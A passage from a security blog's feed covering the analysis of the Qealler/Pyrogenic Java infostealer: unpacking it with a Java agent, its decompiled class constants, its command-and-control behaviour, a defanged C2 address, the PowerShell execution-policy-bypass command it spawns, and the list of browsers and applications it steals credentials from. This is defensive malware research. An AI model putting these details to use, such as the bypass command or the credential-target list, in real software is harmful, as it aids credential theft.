&lt;li&gt;Execute this command &lt;code&gt;java -javaagent:dumper.jar -jar BankPaymAdviceVend_LLCRep.jar&lt;/code&gt; to run the malware with java agent and it will dump all the accessed classes at runtime to the current working directory.&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/12/Pyrogenic-Java-agent-cmdline.png&quot;&gt;&lt;img alt=&quot;Pyrogenic java agent cmdline&quot; decoding=&quot;async&quot; height=&quot;373&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/12/Pyrogenic-Java-agent-cmdline.png&quot; srcset=&quot;/wp-content/uploads/2019/12/Pyrogenic-Java-agent-cmdline.png 1004w, /wp-content/uploads/2019/12/Pyrogenic-Java-agent-cmdline-300x146.png 300w, /wp-content/uploads/2019/12/Pyrogenic-Java-agent-cmdline-768x373.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic java agent cmdline&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/Pyrogenic-malware-classes-with-comment-0.png&quot;&gt;&lt;img alt=&quot;Pyrogenic malware classes with comment&quot; decoding=&quot;async&quot; height=&quot;986&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 760px) 100vw, 760px&quot; src=&quot;/wp-content/uploads/2020/01/Pyrogenic-malware-classes-with-comment-0.png&quot; srcset=&quot;/wp-content/uploads/2020/01/Pyrogenic-malware-classes-with-comment-0.png 760w, /wp-content/uploads/2020/01/Pyrogenic-malware-classes-with-comment-0-231x300.png 231w&quot; width=&quot;760&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic malware classes with comment&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;Please decompile all the dumped class files which start with q0b4 and j/t/e package name files using ByteCodeViewer FernFlower Java decompiler. One of the easiest way is to zip all classes and then use BCV. Then, import decompiled java source files from BCV into any Java IDE, this will help you in code navigation.&lt;/li&gt;
&lt;li&gt;Start from the bottom and go up in the above pic then you will find the first proper package name q0b4/bootstrap/templates/Header which can be our starting point for unpacked code. We are Reverse engineers, we always start in reverse order :).&lt;/li&gt;
&lt;li&gt;Below pic shows all the unpacked classes dumped using Java agent dumper.jar. It starts from &lt;em&gt;&lt;strong&gt;Header.java&lt;/strong&gt;&lt;/em&gt; which uses a decrypt function to AES decrypt the classes at runtime and invoke the main method. It invokes j.t.e.Main package main method.&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/Dumped-Classes-List-with-Header-1.png&quot;&gt;&lt;img alt=&quot;Dumped Classes List with Header.java&quot; decoding=&quot;async&quot; height=&quot;563&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/Dumped-Classes-List-with-Header-1.png&quot; srcset=&quot;/wp-content/uploads/2020/01/Dumped-Classes-List-with-Header-1.png 1764w, /wp-content/uploads/2020/01/Dumped-Classes-List-with-Header-1-300x220.png 300w, /wp-content/uploads/2020/01/Dumped-Classes-List-with-Header-1-1024x751.png 1024w, /wp-content/uploads/2020/01/Dumped-Classes-List-with-Header-1-768x563.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Dumped Classes List with Header.java&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt; Other approach is to dump all the classes present in obfuscatedEntryList using for loop and continue analysis&lt;/p&gt;
&lt;/aside&gt;
&lt;h3 id=&quot;dumped&quot;&gt;Dumped class file analysis&lt;/h3&gt;
&lt;p&gt;Malware authors divided the source code in multiple sensible packages. They have made our job easier by giving proper names to functions, variables and classes. We will go through some of the classes &lt;em&gt;&lt;strong&gt;Main&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;Server&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;MainEx&lt;/strong&gt;&lt;/em&gt; and one util &lt;em&gt;&lt;strong&gt;IPAddress&lt;/strong&gt;&lt;/em&gt; class, as it will take too much time to go through each one of them.&lt;/p&gt;
&lt;h5 style=&quot;padding-left: 40px;&quot;&gt;Main &amp;amp; Server class&lt;/h5&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Main &lt;/strong&gt;&lt;/em&gt;class invokes the loadLibrary method which sends the cmd to CC using &lt;em&gt;&lt;strong&gt;sendCmd&lt;/strong&gt;&lt;/em&gt; method.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/Pyrogenic-Main-class-with-LoadLibrary-2.png&quot;&gt;&lt;img alt=&quot;Pyrogenic Main class with loadLibrary&quot; decoding=&quot;async&quot; height=&quot;422&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/Pyrogenic-Main-class-with-LoadLibrary-2.png&quot; srcset=&quot;/wp-content/uploads/2020/01/Pyrogenic-Main-class-with-LoadLibrary-2.png 1267w, /wp-content/uploads/2020/01/Pyrogenic-Main-class-with-LoadLibrary-2-300x165.png 300w, /wp-content/uploads/2020/01/Pyrogenic-Main-class-with-LoadLibrary-2-1024x563.png 1024w, /wp-content/uploads/2020/01/Pyrogenic-Main-class-with-LoadLibrary-2-768x422.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic Main class with loadLibrary&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Server &lt;/strong&gt;&lt;/em&gt;class contains function &lt;em&gt;&lt;strong&gt;loadLibrary&lt;/strong&gt;&lt;/em&gt; which is used above and &lt;em&gt;&lt;strong&gt;pushCredentials &lt;/strong&gt;&lt;/em&gt;which is used to send the stolen credential to CC.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/Pyrogenic-Server-class-with-function-4.png&quot;&gt;&lt;img alt=&quot;Pyrogenic Server class with functions&quot; decoding=&quot;async&quot; height=&quot;779&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/Pyrogenic-Server-class-with-function-4.png&quot; srcset=&quot;/wp-content/uploads/2020/01/Pyrogenic-Server-class-with-function-4.png 1007w, /wp-content/uploads/2020/01/Pyrogenic-Server-class-with-function-4-296x300.png 296w, /wp-content/uploads/2020/01/Pyrogenic-Server-class-with-function-4-768x779.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic Server class with functions&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Server&lt;/strong&gt;&lt;/em&gt; class contain the following list of available library and cmds:&lt;br/&gt;
&lt;code&gt;   public static final int PYTHON = 162144;&lt;br/&gt;
public static final int SQLITE = 4353152;&lt;br/&gt;
public static final int JNA = 224288;&lt;br/&gt;
public static final int JNA_PLATFORM = 3048576;&lt;br/&gt;
public static final int JNA_4 = 307200;&lt;br/&gt;
public static final int JNA_PLATFORM_4 = 308224;&lt;br/&gt;
public static final int BCPROV = 310272;&lt;br/&gt;
public static final int INI4J = 311296;&lt;br/&gt;
public static final int XML = 312320;&lt;br/&gt;
public static final int JSON = 313344;&lt;br/&gt;
public static final int W3DOM = 314368;&lt;br/&gt;
public static final int Q4_PASS_LIB = 315392;&lt;br/&gt;
public static final int JPOWERSHELL = 316416;&lt;br/&gt;
private static final int LIBRARY_CMD = 16384;&lt;br/&gt;
private static final int CREDENTIAL_CMD = 32768;&lt;br/&gt;
private static final byte[] SEED = &quot;uisdfysdgfbsdyufbsiybfsdyb733grfsudbfjh&quot;.getBytes();&lt;br/&gt;
private static final int MAX_TRY_COUNT = 20;&lt;br/&gt;
&lt;/code&gt;&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/Pyrogenic-Server-class-with-cmd-3.png&quot;&gt;&lt;img alt=&quot;Pyrogenic Server class with cmd&quot; decoding=&quot;async&quot; height=&quot;490&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/Pyrogenic-Server-class-with-cmd-3.png&quot; srcset=&quot;/wp-content/uploads/2020/01/Pyrogenic-Server-class-with-cmd-3.png 1121w, /wp-content/uploads/2020/01/Pyrogenic-Server-class-with-cmd-3-300x191.png 300w, /wp-content/uploads/2020/01/Pyrogenic-Server-class-with-cmd-3-1024x653.png 1024w, /wp-content/uploads/2020/01/Pyrogenic-Server-class-with-cmd-3-768x490.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic Server class with cmd&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;padding-left: 80px;&quot;&gt;Malware author didn’t pack all the required Java libraries in the jar but it is requested when needed at runtime. This significantly decreased the malware size to 153.27 Kb. Let’s discuss some of the library and commands used:&lt;/p&gt;
&lt;ol&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ol&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt; Server JNA, JNA_4, JNA_PLATFORM, JNA_PLATFORM_4 &lt;/strong&gt; – JNA (Java Native Access ) provides simplified access to native library methods without requiring any additional JNI or native code.  For example you can call printf, GetSystemTime Windows API function directly from Java Code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INI4j&lt;/strong&gt; – Java API for handling configuration files in Windows .ini format&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JPOWERSHELL&lt;/strong&gt; – Simple Java API that allows programs to interact with PowerShell console. It may be used when malware invokes any PowerShell commands.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Q4_PASS_LIB&lt;/strong&gt; – May be Qealler v4 Password Library loaded first using &lt;code&gt; list.add(server.loadLibrary(315392));&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LIBRARY_CMD&lt;/strong&gt; – May be used to load the clean dll used sqlitejdbc.dll and jnidispatch.dll&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CREDENTIAL_CMD&lt;/strong&gt; – This cmd is used to &lt;em&gt;&lt;strong&gt;pushCredentials &lt;/strong&gt;&lt;/em&gt;to CC&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 style=&quot;padding-left: 40px;&quot;&gt;MainEx class&lt;/h5&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;j.t.e.Main&lt;/strong&gt; main method invokes the &lt;em&gt;&lt;strong&gt;j.t.e.MainEx&lt;/strong&gt;&lt;/em&gt; main method as shown above in &lt;strong&gt;Main&lt;/strong&gt; class.  It sent credential and system info in JSON format to CC. All the communication are AES encrypted using &lt;em&gt;&lt;strong&gt;EncryptedCipherOutputStream&lt;/strong&gt;&lt;/em&gt; and &lt;em&gt;&lt;strong&gt;EncryptedCipherInputStream&lt;/strong&gt;&lt;/em&gt; which extends &lt;em&gt;&lt;strong&gt;CipherOutputStream&lt;/strong&gt;&lt;/em&gt; &amp;amp; &lt;em&gt;&lt;strong&gt;CipherInputStream&lt;/strong&gt;&lt;/em&gt; respectively.&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/Pyrogenic-MainEx-main-method-5.png&quot;&gt;&lt;img alt=&quot;Pyrogenic MainEx main method&quot; decoding=&quot;async&quot; height=&quot;703&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/Pyrogenic-MainEx-main-method-5.png&quot; srcset=&quot;/wp-content/uploads/2020/01/Pyrogenic-MainEx-main-method-5.png 1037w, /wp-content/uploads/2020/01/Pyrogenic-MainEx-main-method-5-300x275.png 300w, /wp-content/uploads/2020/01/Pyrogenic-MainEx-main-method-5-1024x937.png 1024w, /wp-content/uploads/2020/01/Pyrogenic-MainEx-main-method-5-768x703.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic MainEx main method&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;MainEx&lt;/strong&gt;&lt;/em&gt; class contains two important methods: &lt;em&gt;&lt;strong&gt;run()&lt;/strong&gt;&lt;/em&gt; and &lt;strong&gt;getSysinfo()&lt;/strong&gt; as shown below.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/Pyrogenic-MainEx-credential-stelaer-method-6.png&quot;&gt;&lt;img alt=&quot;Pyrogenic MainEx credential stealer method&quot; decoding=&quot;async&quot; height=&quot;646&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/Pyrogenic-MainEx-credential-stelaer-method-6.png&quot; srcset=&quot;/wp-content/uploads/2020/01/Pyrogenic-MainEx-credential-stelaer-method-6.png 1137w, /wp-content/uploads/2020/01/Pyrogenic-MainEx-credential-stelaer-method-6-300x252.png 300w, /wp-content/uploads/2020/01/Pyrogenic-MainEx-credential-stelaer-method-6-1024x861.png 1024w, /wp-content/uploads/2020/01/Pyrogenic-MainEx-credential-stelaer-method-6-768x646.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic MainEx credential stealer method&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt; Malware steal credential from list of software mentioned in the &lt;em&gt;&lt;strong&gt;run()&lt;/strong&gt; &lt;/em&gt;method
&lt;pre&gt;&lt;code&gt;this.addAll(ChromiumBased.chromiumBasedBrowsers);
this.addAll(MozillaBased.mozillaBasedBrowsers);
this.add(new IExplorer());
this.add(new UCBrowser());
this.add(new Composer());
this.add(new Credman());
this.add(new Outlook());
this.add(new Pidgin());
this.add(new PostgreSQL());
this.add(new Squirrel());
this.add(new Tortoise());&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;getSysinfo() &lt;/strong&gt;collect osName, osVersion, osArch, javaHome, userName, userHome, availableProcessor, freeMemory, totalMemory, localIpAddress &amp;amp; globalIpAddress in JSON format which is encrypted and sent to CC with other info.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;server&quot; style=&quot;padding-left: 40px;&quot;&gt;IPAddress class&lt;/h5&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;IPAddress &lt;/strong&gt;&lt;/em&gt;class is one of the classes present in package &lt;em&gt;&lt;strong&gt;j.t.e.core.utils&lt;/strong&gt;&lt;/em&gt; which gets the IP address of the infected system and sends it to CC with other system info. It uses http://bot.whatismyipaddress.com for collecting the public IP of infected systems. &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/Pyrogenic-IPAddress-util-class-7.png&quot;&gt;&lt;img alt=&quot;Pyrogenic IPAddress util class&quot; decoding=&quot;async&quot; height=&quot;1271&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 718px) 100vw, 718px&quot; src=&quot;/wp-content/uploads/2020/01/Pyrogenic-IPAddress-util-class-7.png&quot; srcset=&quot;/wp-content/uploads/2020/01/Pyrogenic-IPAddress-util-class-7.png 718w, /wp-content/uploads/2020/01/Pyrogenic-IPAddress-util-class-7-169x300.png 169w, /wp-content/uploads/2020/01/Pyrogenic-IPAddress-util-class-7-578x1024.png 578w&quot; width=&quot;718&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic IPAddress util class&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h3 id=&quot;fail&quot;&gt;When will it fail?&lt;/h3&gt;
&lt;p&gt;Unpacking using Java agent will be unable to dump all the classes at runtime due to following conditions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When malware is unable to interact with CC then it will not be able to exhibit complete behaviour.&lt;/li&gt;
&lt;li&gt;Malware is using some anti analysis technique e.g checking for vmware etc.&lt;/li&gt;
&lt;li&gt;Malware is unable to run due to some supporting files, command line etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;Unpacking using a Java agent is quite simple and can speed up your analysis, you can use the dumper.jar uploaded in Github &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt;. This method can be used in any Java based malware. We have also gone through some of the dumped Pyrogenic/Qealler source code to understand the stealer functionality. In the last &lt;a href=&quot;/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;part 0x3&lt;/a&gt; we find similarity between Qealler/Pyrogenic variants based on static code analysis.&lt;/p&gt;
&lt;/p&gt;&lt;h3 id=&quot;application&quot;&gt;Targeted Application list&lt;/h3&gt;
&lt;p&gt;This is the list of application collected from the dumped unpacked classes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ChromiumBased Browser
&lt;ul&gt;
&lt;li&gt;7Star&lt;/li&gt;
&lt;li&gt;amigo&lt;/li&gt;
&lt;li&gt;brave&lt;/li&gt;
&lt;li&gt;centbrowser&lt;/li&gt;
&lt;li&gt;chedot&lt;/li&gt;
&lt;li&gt;chrome canary&lt;/li&gt;
&lt;li&gt;chromium&lt;/li&gt;
&lt;li&gt;coccoc&lt;/li&gt;
&lt;li&gt;comodo dragon&lt;/li&gt;
&lt;li&gt;elements browser&lt;/li&gt;
&lt;li&gt;epic privacy browser&lt;/li&gt;
&lt;li&gt;google chrome&lt;/li&gt;
&lt;li&gt;kometa&lt;/li&gt;
&lt;li&gt;opera&lt;/li&gt;
&lt;li&gt;orbitum&lt;/li&gt;
&lt;li&gt;sputnik&lt;/li&gt;
&lt;li&gt;torch&lt;/li&gt;
&lt;li&gt;uran&lt;/li&gt;
&lt;li&gt;vivaldi&lt;/li&gt;
&lt;li&gt;yandexBrowser&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;MozillaBased Browser
&lt;ul&gt;
&lt;li&gt;firefox&lt;/li&gt;
&lt;li&gt;blackHawk&lt;/li&gt;
&lt;li&gt;cyberfox&lt;/li&gt;
&lt;li&gt;comodo IceDragon&lt;/li&gt;
&lt;li&gt;k-Meleon&lt;/li&gt;
&lt;li&gt;icecat&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;IExplorer&lt;/li&gt;
&lt;li&gt;UCBrowser&lt;/li&gt;
&lt;li&gt;Composer&lt;/li&gt;
&lt;li&gt;Windows Credential&lt;/li&gt;
&lt;li&gt;Outlook&lt;/li&gt;
&lt;li&gt;Pidgin&lt;/li&gt;
&lt;li&gt;PostgreSQL&lt;/li&gt;
&lt;li&gt;Squirrel&lt;/li&gt;
&lt;li&gt;Tortoise&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.javacodegeeks.com/2015/09/java-agents.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Java Agents Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://onedrive.live.com/?authkey=%21AP%2DLGmNO74brJ6s&amp;amp;cid=E91E11F5FA1D754C&amp;amp;id=E91E11F5FA1D754C%21219&amp;amp;parId=E91E11F5FA1D754C%21126&amp;amp;o=OneUp&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Reversing an obfuscated java malware by Extreme Coders&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Securityinbits/blog-posts/tree/master/java_agent&quot;&gt;GitHub repo&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

</content:encoded><category>malware-analysis</category><category>malware-analysis/unpacking</category><category>bytecode-viewer</category><category>infostealer</category><category>java</category><category>java-agent</category><category>pyrogenic</category><category>qealler</category></item><item><title>Qealler Infostealer static analysis – Part 0x1</title><link>https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=289</guid><description>Pyrogenic/Qealler is heavily obfuscated Java based Infostealer which is quiet active based on ANY.RUN and this post will focus on Pyrogenic Infostealer static analysis</description><pubDate>Mon, 06 Jan 2020 07:26:54 GMT</pubDate><content:encoded>&lt;p&gt;Qealler is heavily obfuscated Java based Infostealer which is quite active based on ANY.RUN submission. This will be a three part blog series, this post will focus on Qealler/Pyrogenic static analysis, next &lt;a href=&quot;/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;part 0x2&lt;/a&gt; we learn unpacking using Java agent and in the last &lt;a href=&quot;/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;part 0x3&lt;/a&gt; we find similarity between Qealler/Pyrogenic variants based on static code analysis . You may download the BankPaymAdviceVend_LLCRep.jar from &lt;a href=&quot;https://app.any.run/tasks/b59d58a1-4512-48a4-949e-6c80af823a5d&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt; (MD5: F0E21C7789CD57EEBF8ECDB9FADAB26B) and follow along or download the latest Qealler sample from ANY.RUN submission.&lt;/p&gt;
&lt;h5&gt;CONTENTS&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#overview&quot;&gt;Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#dynamic&quot;&gt;Quick dynamic analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#packed_pyrogenic&quot;&gt;Packed Pyrogenic static analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#references&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;overview&quot;&gt;Overview&lt;/h4&gt;
&lt;p&gt;It’s currently targeting different regions e.g. Australian companies&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt;, Africa and the Middle East&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt; based on the references. I will be using &lt;a href=&quot;https://bytecodeviewer.com/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Bytecode Viewer&lt;/a&gt; to decompile Jar using FernFlower Java Decompiler. Let’s start with quick dynamic analysis. Our main goal for the blog series is to unpack this jar so we can analyse the capability and compare it with Qealler.&lt;/p&gt;
&lt;h4 id=&quot;dynamic&quot;&gt;Quick Dynamic Analysis&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Connect to CC 157.245.160[.]150 at port 80 and create the below process.&lt;br/&gt;
&lt;code&gt;cmd.exe /c chcp 1252 &amp;gt; NUL &amp;amp; powershell.exe -ExecutionPolicy Bypass -NoExit -NoProfile -Command -&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Drop these two clean files sqlitejdbc.dll (MD5: a4e510d903f05892d77741c5f4d95b5d) and jnidispatch.dll (MD5: d2f0da769204b8c45c207d8f3d8fc37e) but it deletes these two file before exiting.&lt;/li&gt;
&lt;li&gt;Connect to bot.whatismyipaddress.com to get the public IP of the infected system.&lt;/li&gt;
&lt;li&gt;Steal credential from different applications&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;packed_pyrogenic&quot;&gt;Packed Pyrogenic static analysis&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Open the jar file in BCV (Bytecode Viewer), you will see multiple class files in different packages. Below pic shows the main entry point of the jar file.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/12/Packed_Pyrogenic_Java.png&quot;&gt;&lt;img alt=&quot;Packed Pyrogenic BCV&quot; decoding=&quot;async&quot; height=&quot;727&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/12/Packed_Pyrogenic_Java.png&quot; srcset=&quot;/wp-content/uploads/2019/12/Packed_Pyrogenic_Java.png 1027w, /wp-content/uploads/2019/12/Packed_Pyrogenic_Java-300x284.png 300w, /wp-content/uploads/2019/12/Packed_Pyrogenic_Java-1024x969.png 1024w, /wp-content/uploads/2019/12/Packed_Pyrogenic_Java-768x727.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Packed Pyrogenic BCV&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;For this sample, I found out that FernFlower decompiled the source code correctly. Select View -&amp;gt; Pane 1 -&amp;gt; FernFlower -&amp;gt; Java in BCV as shown below.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/Pyrogenic-FernFlower-Selection.png&quot;&gt;&lt;img alt=&quot;Bytecode Viewer FernFlower selection&quot; decoding=&quot;async&quot; height=&quot;305&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/Pyrogenic-FernFlower-Selection.png&quot; srcset=&quot;/wp-content/uploads/2020/01/Pyrogenic-FernFlower-Selection.png 1114w, /wp-content/uploads/2020/01/Pyrogenic-FernFlower-Selection-300x119.png 300w, /wp-content/uploads/2020/01/Pyrogenic-FernFlower-Selection-1024x406.png 1024w, /wp-content/uploads/2020/01/Pyrogenic-FernFlower-Selection-768x305.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Bytecode Viewer FernFlower selection&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;If you browse the different class files in BCV, you will find many encrypted class files which don’t translate to Java src code. e.g. one of them is shown below&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/12/Pyrogenic-encrypted-class.png&quot;&gt;&lt;img alt=&quot;Pyrogenic encrypted class&quot; decoding=&quot;async&quot; height=&quot;664&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/12/Pyrogenic-encrypted-class.png&quot; srcset=&quot;/wp-content/uploads/2019/12/Pyrogenic-encrypted-class.png 847w, /wp-content/uploads/2019/12/Pyrogenic-encrypted-class-300x259.png 300w, /wp-content/uploads/2019/12/Pyrogenic-encrypted-class-768x664.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic encrypted class&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;Based on the above encrypted class file, you can guess that there should be some decryption algorithm used to decrypt those files.&lt;/li&gt;
&lt;li&gt;Decryption algorithms can be custom or well known e.g. AES. Study this example java code &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt; which encrypt/decrypt using AES.  &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/AES-Java-Encrypt-Decrypt-Example.png&quot;&gt;&lt;img alt=&quot;AES Java Encrypt Decrypt Example&quot; decoding=&quot;async&quot; height=&quot;898&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/AES-Java-Encrypt-Decrypt-Example.png&quot; srcset=&quot;/wp-content/uploads/2020/01/AES-Java-Encrypt-Decrypt-Example.png 995w, /wp-content/uploads/2020/01/AES-Java-Encrypt-Decrypt-Example-256x300.png 256w, /wp-content/uploads/2020/01/AES-Java-Encrypt-Decrypt-Example-875x1024.png 875w, /wp-content/uploads/2020/01/AES-Java-Encrypt-Decrypt-Example-768x898.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;AES Java Encrypt Decrypt Example&lt;/figcaption&gt;&lt;/figure&gt; Some of the keyword mentioned in the above java code e.g. &lt;strong&gt;getInstance&lt;/strong&gt; can help us to find the encryption algorithm and &lt;strong&gt;doFinal&lt;/strong&gt; can point to final decryption result.&lt;/li&gt;
&lt;li&gt;Let’s search for AES references after importing the decompiled src code to Eclipse IDE.&lt;br/&gt;
